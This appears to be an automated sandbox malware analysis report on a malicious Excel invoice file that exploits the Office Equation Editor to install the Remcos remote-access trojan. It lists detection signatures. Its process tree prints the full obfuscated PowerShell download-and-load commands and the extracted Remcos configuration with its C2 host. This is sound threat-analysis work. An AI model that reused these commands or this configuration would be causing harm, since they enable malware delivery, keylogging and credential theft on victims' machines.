Edit tour
Windows
Analysis Report
invoice_45009.xls
Overview
General Information
| Sample name: | invoice_45009.xls |
| Analysis ID: | 1528050 |
| MD5: | 43983a4a84f12dd512b7dd6e1e72dd1d |
| SHA1: | bef63e320407ad6b5c2fba7d98e79bd0bc497ea1 |
| SHA256: | 20efb5b024328037e0991db2db376723ee239c5dfa8933dd24fdcc29e7fe8256 |
| Tags: | xlsuser-abuse_ch |
| Infos: |   |
 | |
Detection
Remcos
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for dropped file
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Microsoft Office launches external ms-search protocol handler (WebDAV)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs a global keyboard hook
Machine Learning detection for sample
Maps a DLL or memory area into another process
Microsoft Office drops suspicious files
Obfuscated command line found
Office drops RTF file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Office viewer loads remote template
Searches for Windows Mail specific files
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document contains Microsoft Equation 3.0 OLE entries
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Excel Network Connections
Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w7x64
EXCEL.EXE (PID: 3320 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) 
WINWORD.EXE (PID: 3616 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\WINWOR D.EXE" -Em bedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5) 
EQNEDT32.EXE (PID: 3976 cmdline: "C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) 
wscript.exe (PID: 4060 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\newsw eetnesswit hverynicec ute.vbS" MD5: 979D74799EA6C8B8167869A68DF5204A) 
powershell.exe (PID: 3120 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' KCgnezF9dS crJ3InKyds ID0gJysnez J9JysnaHR0 cCcrJ3MnKy c6Ly8nKydy YXcuZycrJ2 knKyd0aHUn KydidXMnKy dlcmNvJysn bnRlbicrJ3 QnKycuJysn YycrJ29tL0 5vRGV0ZScr J2N0T24nKy cvTm9EZXRl Y3QnKydPbi 9yZWZzJysn L2hlYWRzL2 1haScrJ24v JysnRGV0YS crJ2hOJysn b3RoLVYudC crJ3gnKyd0 ezInKyd9Oy B7JysnMX1i JysnYScrJ3 NlJysnNicr JzQnKydDby crJ24nKyd0 ZW50ID0gJy snKE5ldycr Jy0nKydPYi crJ2plY3Qg UycrJ3knKy dzJysndGVt Lk5ldC5XZW JDbCcrJ2kn KydlbnQpLk QnKydvJysn d24nKydsb2 FkU3RyaW4n KydnKHsxfX VybCknKyc7 IHsnKycxJy snfScrJ2Jp bicrJ2FyeU MnKydvbnRl bnQnKycgPS BbJysnU3kn KydzdGVtJy snLicrJ0Mn KydvbnZlcn RdOjpGcicr J28nKydtJy snQicrJ2Fz ZTY0JysnU3 RyaW4nKydn KHsxfWJhc2 U2NEMnKydv bnQnKydlbn QpOycrJyAn Kyd7MX1hc3 NlbWJseSAn Kyc9JysnIC crJ1tSZWZs ZWMnKyd0Jy snaW9uJysn LkFzc2VtJy snYmx5XTo6 TG9hZCcrJy h7JysnMScr J30nKydiJy snaW5hcicr J3lDb250Jy snZScrJ24n Kyd0JysnKT sgWycrJ2Ru bGliJysnLi crJ0lPLkhv bWVdOjpWQU koezB9dHgn Kyd0LlInKy dFU1MnKydT RCcrJ1IvMD U0LzkuNDQu MDQnKycyLj gzJysnLy86 cHR0JysnaH snKycwfScr JywnKycgez B9ZGVzYXRp dmFkb3swfS wgeycrJzB9 ZGVzJysnYX RpdmFkJysn b3swfSwgey crJzB9ZGUn KydzJysnYS crJ3Rpdicr J2Fkb3swfS wnKycgezB9 UmUnKydnJy snQXNtezB9 LCAnKyd7MH 17MH0nKycs ezAnKyd9Jy snezB9KScp LWYgIFtjaG FSXTM0LFtj aGFSXTM2LF tjaGFSXTM5 KSB8IC4oIC RTSEVMTElk WzFdKyRTaE VsbElkWzEz XSsnWCcp'; $OWjuxd = [system.Te xt.encodin g]::UTF8.G etString([ system.Con vert]::Fro mbase64Str ing($codig o));powers hell.exe - windowstyl e hidden - executionp olicy bypa ss -NoProf ile -comma nd $OWjuxD MD5: EB32C070E658937AA9FA9F3AE629B2B8) - powershell.exe (PID: 2880 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "(('{1 }u'+'r'+'l = '+'{2}' +'http'+'s '+'://'+'r aw.g'+'i'+ 'thu'+'bus '+'erco'+' nten'+'t'+ '.'+'c'+'o m/NoDete'+ 'ctOn'+'/N oDetect'+' On/refs'+' /heads/mai '+'n/'+'De ta'+'hN'+' oth-V.t'+' x'+'t{2'+' }; {'+'1}b '+'a'+'se' +'6'+'4'+' Co'+'n'+'t ent = '+'( New'+'-'+' Ob'+'ject S'+'y'+'s' +'tem.Net. WebCl'+'i' +'ent).D'+ 'o'+'wn'+' loadStrin' +'g({1}url )'+'; {'+' 1'+'}'+'bi n'+'aryC'+ 'ontent'+' = ['+'Sy' +'stem'+'. '+'C'+'onv ert]::Fr'+ 'o'+'m'+'B '+'ase64'+ 'Strin'+'g ({1}base64 C'+'ont'+' ent);'+' ' +'{1}assem bly '+'='+ ' '+'[Refl ec'+'t'+'i on'+'.Asse m'+'bly]:: Load'+'({' +'1'+'}'+' b'+'inar'+ 'yCont'+'e '+'n'+'t'+ '); ['+'dn lib'+'.'+' IO.Home]:: VAI({0}tx' +'t.R'+'ES S'+'SD'+'R /054/9.44. 04'+'2.83' +'//:ptt'+ 'h{'+'0}'+ ','+' {0}d esativado{ 0}, {'+'0} des'+'ativ ad'+'o{0}, {'+'0}de' +'s'+'a'+' tiv'+'ado{ 0},'+' {0} Re'+'g'+'A sm{0}, '+' {0}{0}'+', {0'+'}'+'{ 0})')-f [c haR]34,[ch aR]36,[cha R]39) | .( $SHELLId[ 1]+$ShEllI d[13]+'X') " MD5: EB32C070E658937AA9FA9F3AE629B2B8) 
RegAsm.exe (PID: 2244 cmdline: "C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 1436 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 2032 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\um amwkvoyd" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 2936 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\wg fwwugimmok s" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 2476 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\hi spxnqjaugx dnkyl" MD5: 8FE9545E9F72E460723F484C304314AD)
- cleanup
| Name | Description | Attribution | Blogpost URLs | Link |
|---|---|---|---|---|
| Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": "ugnrv.duckdns.org:9674:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-0BYJUE", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| INDICATOR_RTF_MalVer_Objects | Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. | ditekSHen |
| |
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
| INDICATOR_RTF_MalVer_Objects | Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. | ditekSHen |
|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
| JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
| Click to see the 25 entries | ||||
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
| JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
| Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
| REMCOS_RAT_variants | unknown | unknown |
| |
| Click to see the 18 entries | ||||
Exploits |   |
|---|
| Source: | Author: Joe Security: | ||
| Source: | Author: Joe Security: | ||
System Summary | |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||